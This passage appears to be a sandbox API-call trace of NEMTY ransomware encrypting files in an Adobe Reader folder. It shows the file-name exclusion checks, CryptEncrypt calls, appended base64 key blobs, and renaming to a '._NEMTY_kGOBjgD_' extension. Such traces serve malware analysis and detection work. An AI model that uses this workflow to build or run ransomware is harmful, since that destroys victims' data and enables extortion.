lpWideCharStr="can129.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0216.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can129.hsp", cchWideChar=10, lpMultiByteStr=0x653e210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can129.hsp", lpUsedDefaultChar=0x0) returned 10 [0216.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can129.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0216.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can129.hsp", cchWideChar=10, lpMultiByteStr=0x653e260, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can129.hsp", lpUsedDefaultChar=0x0) returned 10 [0216.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can129.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0216.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can129.hsp", cchWideChar=10, lpMultiByteStr=0x653e298, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can129.hsp", lpUsedDefaultChar=0x0) returned 10 [0216.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0216.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0216.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0216.918] Sleep (dwMilliseconds=0x5) [0216.931] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34f05410, dwHighDateTime=0x1d561e8)) [0216.931] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34f05410, dwHighDateTime=0x1d561e8)) [0216.931] GetLastError () returned 0x0 [0216.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.932] GetLastError () returned 0x0 [0216.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.932] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.932] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.932] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0216.932] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653df5c | out: pszString="3tk9SEKhGC09dQu0h980NzY9FXhIzQAXVdE8x1AygGhjk2+TyhFF7zQmb7GWuOQ/\r\nWEZ7ZeGPK5ub6HrLqsFTiQ77H+LyePmoBYkJSkDXsXEbTLZJxts1R4eT1AiShO2e\r\nCJG8+FXlfF1jovwAjnpaN2/2hrTVKCXTzr3DkaA+bcMm3Q7E2oR7qpB9jrXUjNit\r\nIIp422NXNNkOzYLYJNTzz1wr8uTD9oO0bB0qJPWv82/I4wDV7Pggk6RdoY8Pdqlg\r\nSI4pBcZoakZ7wMfexZi4TYxREpM90kS3JJ88BXgnf7/ZlxWBRWBw4TcIRDusJC1y\r\ndoTXTks+rgQlORfjl9dNCg==\r\n", pcchString=0x653df5c) returned 1 [0216.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0216.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.932] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can129.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can129.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.933] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=285757) returned 1 [0216.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6354c48 [0216.933] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.933] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0216.942] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.942] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0216.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0216.942] SetFilePointer (in: hFile=0x320, lDistanceToMove=285757, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x45c3d [0216.942] WriteFile (in: hFile=0x320, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.944] CloseHandle (hObject=0x320) returned 1 [0216.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0216.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0216.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0216.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0216.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.944] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can129.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can129.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can129.hsp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can129.hsp._nemty_kgobjgd_")) returned 1 [0216.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0216.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0216.945] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df78120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="can32.clx", cAlternateFileName="")) returned 1 [0216.945] lstrcmpiW (lpString1="can32.clx", lpString2=".") returned 1 [0216.945] lstrcmpiW (lpString1="can32.clx", lpString2="..") returned 1 [0216.945] lstrcmpiW (lpString1="can32.clx", lpString2="...") returned 1 [0216.945] lstrcmpiW (lpString1="can32.clx", lpString2="windows") returned -1 [0216.945] lstrcmpiW (lpString1="can32.clx", lpString2="$RECYCLE.BIN") returned 1 [0216.945] lstrcmpiW (lpString1="can32.clx", lpString2="rsa") returned -1 [0216.945] lstrcmpiW (lpString1="can32.clx", lpString2="NTDETECT.COM") returned -1 [0216.945] lstrcmpiW (lpString1="can32.clx", lpString2="ntldr") returned -1 [0216.945] lstrcmpiW (lpString1="can32.clx", lpString2="MSDOS.SYS") returned -1 [0216.945] lstrcmpiW (lpString1="can32.clx", lpString2="IO.SYS") returned -1 [0216.945] lstrcmpiW (lpString1="can32.clx", lpString2="boot.ini") returned 1 [0216.945] lstrcmpiW (lpString1="can32.clx", lpString2="boot.ini") returned 1 [0216.945] lstrcmpiW (lpString1="can32.clx", lpString2="AUTOEXEC.BAT") returned 1 [0216.945] lstrcmpiW (lpString1="can32.clx", lpString2="ntuser.dat") returned -1 [0216.945] lstrcmpiW (lpString1="can32.clx", lpString2="desktop.ini") returned -1 [0216.945] lstrcmpiW (lpString1="can32.clx", lpString2="CONFIG.SYS") returned -1 [0216.945] lstrcmpiW (lpString1="can32.clx", lpString2="RECYCLER") returned -1 [0216.945] lstrcmpiW (lpString1="can32.clx", lpString2="BOOTSECT.BAK") returned 1 [0216.945] lstrcmpiW (lpString1="can32.clx", lpString2="bootmgr") returned 1 [0216.945] lstrcmpiW (lpString1="can32.clx", lpString2="programdata") returned -1 [0216.946] lstrcmpiW (lpString1="can32.clx", lpString2="appdata") returned 1 [0216.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can32.clx", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can32.clx", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0216.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0216.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0216.946] Sleep (dwMilliseconds=0x5) [0216.947] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34f2b570, dwHighDateTime=0x1d561e8)) [0216.947] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34f2b570, dwHighDateTime=0x1d561e8)) [0216.947] GetLastError () returned 0x0 [0216.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.947] GetLastError () returned 0x0 [0216.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.947] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.947] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.947] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0216.947] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653df5c | out: pszString="FHgLO1hHGPbsr1RBqjGatgeHaRCSofib16ch7IejIpnrAKMg36+HsYzLX3QxbPA8\r\nJday3KxgswBCcUjQWPUEbf5DgGSabxeomW7p47gA3tQ/hlEXp9I6bG6S9BT7zqRl\r\ngMpWO/8kx/eQIeCfpeWEqnm5LX8vul8RSKLVbTDL7XnOC6Q87uO2Vb0Wn+gXo8hg\r\ntIRZMdrIu96kWDNescyLHOyaiC/G+nN1R0buCk8NBmg6d5OW97WZjxJeIN3QWWx5\r\n55O8Z8dXFLxgdRFO2HoK/g/m4aur1+9rRH1MQrm+IoM85OW41cMViD7JNzfjAGEC\r\nlIgLZdx2gEGIIsPGEtxMIQ==\r\n", pcchString=0x653df5c) returned 1 [0216.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0216.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.948] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.948] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=32766) returned 1 [0216.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7ff0) returned 0x6354c48 [0216.948] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.948] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x7ff0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x7ff0, lpOverlapped=0x0) returned 1 [0216.952] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.952] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x7ff0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x7ff0, lpOverlapped=0x0) returned 1 [0216.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0216.952] SetFilePointer (in: hFile=0x320, lDistanceToMove=32766, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ffe [0216.952] WriteFile (in: hFile=0x320, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.952] CloseHandle (hObject=0x320) returned 1 [0216.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0216.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0216.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0216.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0216.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.952] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can32.clx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can32.clx._nemty_kgobjgd_")) returned 1 [0216.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0216.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0216.953] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f4, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="cfr.fca", cAlternateFileName="")) returned 1 [0216.953] lstrcmpiW (lpString1="cfr.fca", lpString2=".") returned 1 [0216.953] lstrcmpiW (lpString1="cfr.fca", lpString2="..") returned 1 [0216.953] lstrcmpiW (lpString1="cfr.fca", lpString2="...") returned 1 [0216.953] lstrcmpiW (lpString1="cfr.fca", lpString2="windows") returned -1 [0216.953] lstrcmpiW (lpString1="cfr.fca", lpString2="$RECYCLE.BIN") returned 1 [0216.953] lstrcmpiW (lpString1="cfr.fca", lpString2="rsa") returned -1 [0216.953] lstrcmpiW (lpString1="cfr.fca", lpString2="NTDETECT.COM") returned -1 [0216.953] lstrcmpiW (lpString1="cfr.fca", lpString2="ntldr") returned -1 [0216.954] lstrcmpiW (lpString1="cfr.fca", lpString2="MSDOS.SYS") returned -1 [0216.954] lstrcmpiW (lpString1="cfr.fca", lpString2="IO.SYS") returned -1 [0216.954] lstrcmpiW (lpString1="cfr.fca", lpString2="boot.ini") returned 1 [0216.954] lstrcmpiW (lpString1="cfr.fca", lpString2="boot.ini") returned 1 [0216.954] lstrcmpiW (lpString1="cfr.fca", lpString2="AUTOEXEC.BAT") returned 1 [0216.954] lstrcmpiW (lpString1="cfr.fca", lpString2="ntuser.dat") returned -1 [0216.954] lstrcmpiW (lpString1="cfr.fca", lpString2="desktop.ini") returned -1 [0216.954] lstrcmpiW (lpString1="cfr.fca", lpString2="CONFIG.SYS") returned -1 [0216.954] lstrcmpiW (lpString1="cfr.fca", lpString2="RECYCLER") returned -1 [0216.954] lstrcmpiW (lpString1="cfr.fca", lpString2="BOOTSECT.BAK") returned 1 [0216.954] lstrcmpiW (lpString1="cfr.fca", lpString2="bootmgr") returned 1 [0216.954] lstrcmpiW (lpString1="cfr.fca", lpString2="programdata") returned -1 [0216.954] lstrcmpiW (lpString1="cfr.fca", lpString2="appdata") returned 1 [0216.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr.fca", cchWideChar=7, 